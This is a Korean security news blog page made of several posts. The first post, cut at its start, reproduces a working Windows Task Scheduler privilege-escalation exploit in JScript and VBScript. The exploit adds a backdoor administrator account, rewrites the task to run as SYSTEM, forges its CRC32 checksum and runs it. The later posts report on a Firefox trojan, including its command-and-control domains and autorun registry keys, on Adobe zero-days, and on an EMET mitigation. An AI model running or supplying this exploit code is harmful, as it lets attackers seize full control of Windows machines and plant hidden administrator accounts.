             crc ^= 0xFFFFFFFF;
             anyTextString=decodeFromHex(endString);
             StringLength=anyTextString.length;
             for (var i=0; i<StringLength; i++) {
                tableIndex=0;
                Table_value = crc_table[tableIndex];
                while (((Table_value ^ crc) >>> 24)  & 0xFF) {
                   tableIndex++;
                   Table_value = crc_table[tableIndex];
                }
                crc ^= Table_value;
                crc <<= 8;
                crc |= tableIndex ^ anyTextString.charCodeAt(StringLength - i -1);
             }
          //
          // Now let's find the 4-byte string
          //
             for (var i=0; i<4; i++) {
                tableIndex=0;
                Table_value = crc_table[tableIndex];
                while (((Table_value ^ crc) >>> 24)  & 0xFF) {
                   tableIndex++;
                   Table_value = crc_table[tableIndex];
                }
                crc ^= Table_value;
                crc <<= 8;
                crc |= tableIndex;
             }
             crc ^= Crc_value;
          //
          // Finally, display the results
          //
             var TextString=dec2hex(crc);
             var Teststring='';
          Teststring=TextString.substring(6,8);
          Teststring+=TextString.substring(4,6);
          Teststring+=TextString.substring(2,4);
          Teststring+=TextString.substring(0,2);
             return Teststring
          }
          function decodeFromHex(str){
              var r="";
              var e=str.length;
              var s=0;
              while(e>1){
                   
                  r=r+String.fromCharCode("0x"+str.substring(s,s+2));
                   
                  s=s+2;
                  e=e-2;
              }
               
              return r;
               
          }
          </script>
           
           
           
          <script language="VBScript">
          dim output
          set output = wscript.stdout
          output.writeline " Task Scheduler 0 day - Privilege Escalation "
          output.writeline " Should work on Vista/Win7/2008 x86/x64"
          output.writeline " webDEViL - w3bd3vil [at] gmail [dot] com" & vbCr & vbLf
          biatchFile = WScript.CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2)+"\xpl.bat"
          Set objShell = CreateObject("WScript.Shell")
          objShell.Run "schtasks /create /TN wDw00t /sc monthly /tr """+biatchFile+"""",,True
           
          Set fso = CreateObject("Scripting.FileSystemObject")
          Set a = fso.CreateTextFile(biatchFile, True)
          a.WriteLine ("net user /add test123 test123")
          a.WriteLine ("net localgroup administrators /add test123")
          a.WriteLine ("schtasks /delete /f /TN wDw00t")
           
          Function ReadByteArray(strFileName)
          Const adTypeBinary = 1
          Dim bin
              Set bin = CreateObject("ADODB.Stream")
              bin.Type = adTypeBinary
              bin.Open
              bin.LoadFromFile strFileName
              ReadByteArray = bin.Read
          'output.writeline ReadByteArray
          End Function
           
          Function OctetToHexStr (arrbytOctet)
           Dim k
           OctetToHexStr = ""
           For k = 3 To Lenb (arrbytOctet)
            OctetToHexStr = OctetToHexStr _
                  & Right("0" & Hex(Ascb(Midb(arrbytOctet, k, 1))), 2)
           Next
           End Function
          strFileName="C:\windows\system32\tasks\wDw00t"
           
          hexXML = OctetToHexStr (ReadByteArray(strFileName))
          'output.writeline hexXML
          crc32 = calc_crc(hexXML)
          output.writeline "Crc32 Original: "+crc32
           
           
          Set xmlDoc = CreateObject("Microsoft.XMLDOM")
          'permissions workaround
          'objShell.Run "cmd /c copy C:\windows\system32\tasks\wDw00t .",,True
          'objShell.Run "cmd /c schtasks /query /XML /TN wDw00t > wDw00t.xml",,True
          Set objShell = WScript.CreateObject("WScript.Shell")
          Set objExecObject = objShell.Exec("cmd /c schtasks /query /XML /TN wDw00t")
           
          Do Until objExecObject.StdOut.AtEndOfStream
           strLine = strLine & objExecObject.StdOut.ReadLine()
          Loop
          hexXML = "FFFE3C00"+OctetToHexStr(strLine)
          'output.writeline hexXML
          Set ts = fso.createtextfile ("wDw00t.xml")
          For n = 1 To (Len (hexXML) - 1) step 2
           ts.write Chr ("&h" & Mid (hexXML, n, 2))
          Next
          ts.close
           
          xmlDoc.load "wDw00t.xml"
          Set Author = xmlDoc.selectsinglenode ("//Task/RegistrationInfo/Author")
          Author.text = "LocalSystem"
          Set UserId = xmlDoc.selectsinglenode ("//Task/Principals/Principal/UserId")
          UserId.text = "S-1-5-18"
          xmldoc.save(strFileName)
           
          hexXML = OctetToHexStr (ReadByteArray(strFileName))
           
          leadString=hexXML+"3C0021002D002D00"
          endString="2D002D003E00"
          'output.writeline leadString
          impbytes=rev_crc(leadString,endString,crc32)
          output.writeline "Crc32 Magic Bytes: "+impbytes
           
          finalString = leadString+impbytes+endString
          forge = calc_crc(finalString)
          output.writeline "Crc32 Forged: "+forge
           
          strHexString="FFFE"+finalString
          Set fso = CreateObject ("scripting.filesystemobject")
          Set stream = CreateObject ("adodb.stream")
           
          Set ts = fso.createtextfile (strFileName)
           
          For n = 1 To (Len (strHexString) - 1) step 2
           ts.write Chr ("&h" & Mid (strHexString, n, 2))
          Next
          ts.close
           
           
          Set objShell = CreateObject("WScript.Shell")
          objShell.Run "schtasks /change /TN wDw00t /disable",,True
          objShell.Run "schtasks /change /TN wDw00t /enable",,True
          objShell.Run "schtasks /run /TN wDw00t",,True
           
          </script>
          </job>

          출처: http://www.exploit-db.com/exploits/15589/

          감사합니다.

          저작자 표시
          신고
          reTweet
          Posted by 문스랩닷컴
          blog comments powered by Disqus
            보안 전문 기업인 Norman에서 근무하는 보안 전문가에 따르면 파이어폭스(Firefox) 브라우저의 취약점을 이용하여 트로이목마를 PC에 다운로드케하는 공격이 발견되었다고 합니다.

            이 공격은 노벨상 웹사이트의 해킹을 조사하는 과정에서 발견되었으며, 웹사이트의 해킹 뿐만 아니라 변조까지 이뤄진 것으로 알려졌습니다.

            이 취약점은 파이어폭스 v3.5와 v3.6 버전에서 발생하고 있으며 아직까지 구체적인 공격 대상이 밝혀지지는 않았습니다.

            취약점을 통해 공격이 성공적으로 이뤄지면, %WINDOWS%\temp 폴더에 symantec.exe 라는 이름의 트로이목마 설치 프로그램을 다운로드합니다.

            그리고, 윈도우 부팅시에 자동으로 시작되도록 아래 레지스트리에 경로를 등록합니다.

            * HKCU\Software\Microsoft\Windows\CurrentVersion\Run
            * HKLM\Software\Microsoft\Windows\CurrentVersion\Run

            설치가 완료되면 몇가지 의심스러운 동작을 수행하는데 다음과 같습니다.

            * nobel.usagov.mooo.com, update.microsoft.com 사이트에 HTTP(#80) 포트로 접속 시도
            * l-3com.dyndns-work.com, l-3com.dyndns.tv 에 접속을 시도

            하지만, 어떠한 연유로 microsoft.com에 접속하는지 아직 명확히 밝혀진 점은 없습니다.

            최근에 발생하는 보안 이슈들을 살펴 보면, 윈도우 운영체제 보다는 아도브(PDF), 자바와 같이 애플리케이션 단에서 발생하는 경우가 더 많습니다. Secunia의 PSI와 같은 보조 솔루션을 심각하게 검토해야 할 단계가 아닌지 모르겠습니다.

            Secunia의 PSI(Personal Software Inspector)
            http://moonslab.com/408

            출처: http://www.norman.com/security_center/virus_description_archive/129146/
            저작자 표시
            신고
            reTweet
            Posted by 문스랩닷컴
            blog comments powered by Disqus
              최근 아도브의 리더에서 제로데이 취약점이 발견되어 소개해 드린 적이 있습니다. 이에 대한 자세한 사항은 아래 링크를 참고하십시오.


              지난 월요일 아도브에서는 플래시 플레이어에 제로데이 취약점이 발견되었으며, 실제로 공격이 이뤄지는 사례가 있다고 알려왔습니다. 이 취약점은 CVE-2010-2884로 명명되었습니다.

              이 취약점은 아도브 플래시 플레이어 10.1.82.76 버전 및 하위 버전에서 발생하고 있으며, 윈도우 뿐만 아니라 맥, 리눅스, 솔라리스, 안드로이드까지 다양한 운영체제를 포함하고 있습니다.

              또한 이 취약점은 아도브 리더의 최신버전 및 하위버전에 영향을 미치고 있으며, 윈도우, 맥 운영체제 제품에서도 존재합니다.

              아도브는 9월 27일 경에 이 문제점을 해결하기 위한 패치를 제공할 예정이라고 합니다. 참고로, 아도브 리더에서 발생한 문제점은 10월 4일 패치 예정입니다.

              취약점에 대한 자세한 사항은 아래 링크를 참고하십시오.



              감사합니다.
              저작자 표시
              신고
              reTweet
              Posted by 문스랩닷컴
              blog comments powered by Disqus

                최근 아크로뱃 리더의 거듭된 제로데이 취약점으로 문제가 많이 발생하고 있습니다. 가장 최근에 발생한 뉴스는 아래 링크를 참고하십시오.

                마이크로소프트는 아도브에서 개발하는 아크로뱃 및 리더 프로그램의 보안 취약점을 노린 제로데이 공격을 예방할 수 있는 툴킷을 발표했습니다.

                지난 금요일에 마이크로소프트가 발표한 권고안에 따르면 EMET(Enhanced Mitigation Experience) 2.0이 이러한 위협을 차단할 수 있다고 하였으며, 아직까지 아도브에서는 별다른 언급을 하지 않고 있습니다.


                권고안에 언급된 주요한 사항을 살펴보면 다음과 같으며, 보다 자세한 사항은 하단 부의 참고자료를 참조하십시오.

                아도브 관련된 취약점을 예방하기 위해 EMET을 사용하기 위해서는 먼저 EMET을 설치해야 합니다. 단, 설치 시에는 관리자 권한이 필요합니다. 64비트 운영체제가 아닌 경우에는 아도브 리더와 아크로뱃은 설치 경로가 다를 수도 있으므로
                주의해야 합니다.

                C:\Program Files (x86)\EMET>emet_conf.exe --add "c:\program files (x86)\Adobe\Reader 9.0\Reader\acrord32.exe"

                저장 후에는 프로그램을 재시작해야 할 경우도 있습니다.


                참고자료


                감사합니다.
                저작자 표시
                신고
                reTweet
                Posted by 문스랩닷컴
                blog comments powered by Disqus
                  인터넷 위협 중에서 가장 위험하다고 여겨지는 것이 바이러스가 아니라 아크로뱃 리더(Acrobat Reader)이다.  - from 문스랩닷컴


                  아도브가 개발한 아크로뱃 리더는 아마도 가장 널리 사용되는 뷰어(viewer)이며, 외국에서는 거의 전자 문서의 표준 정도에 이를 정도입니다.

                  최근 1-2년간에 아도브 리더/아크로뱃 제품에서 잇달아 취약점이 발견되고 있습니다. 그 중에서 가장 문제가 되는 부분이 바로 취약점을 이용하여 악성코드를 배포하는 바로 제로데이(0-day) 습성이기 때문입니다. 제로데이란 취약점이 알려진지 24시간 내에 이를 이용하는 악성코드가 출현한다는 것으로 그만큼 악성코드 제작자의 실력도 상향 평준화되었으며, 그에 반해 개발사나 보안 업체의 대응이 상대적으로 늦을 수 밖에 없다는 것을 말합니다.

                  지난 9월 6일에는 아크로뱃 리더에 관련된 새로운 제로데이 취약점이 발견되어 알려졌습니다. 문제는 이 취약점을 이용하여 악성코드를 배포할 수 있는 실제 코드도 발표되었고, 취약점을 이용하여 교묘하게 조작된 PDF 문서를 첨부 파일로 넣은 스팸 메일이 실제로 발송되었다는 점입니다.

                  문제가 발생한 아크로뱃 리더의 버전은 최신버전인 9.3.4까지 포함하는 것으로 알려져 있습니다. 또한 윈도우 운영체제 뿐만 아니라 매킨토스, 유닉스 운영체제까지 모든 제품에서 취약점이 발생합니다. 이 취약점은 CVE-2010-2883 이라고 명명되었으며, 이 취약점을 통해 해커는 피해자의 컴퓨터를 원격에서 조정할 수 있으며, 시스템을 손상시킬 수도 있습니다.

                  아도브 사에서는 이 문제점의 심각성을 우려해서 인지 매우 빠르게 이에 대한 대응책을 발표했습니다.

                  CVE-2010-2883에 대해 간략히 정리하면 다음과 같습니다.


                  1. 취약점의 상세 내용

                  cooltype.dll 파일의 0x0803dcf9 모듈에서 TTF 글꼴을 적절하게 파싱하지 못하는 문제점으로 인해 발생합니다. 이로 인해 DEP(Data Execution Protection, 데이터 실행 방지)까지 우회하는 것으로 알려져 있습니다.

                  아크로뱃 리더에서는 AcroJS라는 자바스크립트가 사용되는데 이는 문서를 열 때 한번 실행되는 쉽게 말하면 자동실행 스크립트라고 보면 됩니다.



                  2. 취약점을 이용하는 악성 코드 출현

                  이 취약점을 이용하는 코드가 Metasploit Framework에서 발표되었으며, 이러한 발표로 인해 바이러스 및 스팸 제작자들이 쌍수를 들고 환영하고 있습니다.


                  또한, 아래와 같이 악성 스크립트가 포함되어 있는 PDF 파일을 스팸 메일에 함께 보내어 감염을 시도하는 실제 사례도 많은 것으로 알려져 있습니다.

                  <설명: 첨부에 포함된 PDF 문서>


                  3. 아도브 사의 발표 내용

                  아도브 사에서는 이 문제점에 대해 신속하게 권고안을 발표했습니다만, 아쉽게도 앞에서 설명했던 사항들을 나열하는 수준에 불과했습니다. 이 취약점은 심각성이 치명적(Critical)하다고 분류했으며, 현재 문제점을 해결하는 업데이트를 발표할 일정을 조율 중에 있다고 합니다.


                  아크로뱃 리더는 계속 기능을 확장해 나가고 있습니다. 하지만, 그 기능에 맞게 그 만큼의 보안에 대해 충분한 검토가 없어 이와 같은 문제점이 나타나고 있습니다. 자바스크립트가 실행되는 한, 이러한 문제점은 계속 나올 것입니다.

                  아마도 나중에는 샌드박스(Sandbox)와 같은 기능이 아크로뱃 리더 내에 포함될지도 모릅니다.

                  감사합니다.

                  저작자 표시
                  신고
                  reTweet
                  Posted by 문스랩닷컴
                  blog comments powered by Disqus
                    최근 발표된 윈도우의 도움말 센터(Help Center)의 취약점을 일시적으로 예방할 수 있는 프로그램이 MS에서 발표되었습니다.


                    감사합니다.
                    신고
                    reTweet
                    Posted by 문스랩닷컴
                    blog comments powered by Disqus


                      Web Analytics Blogs Directory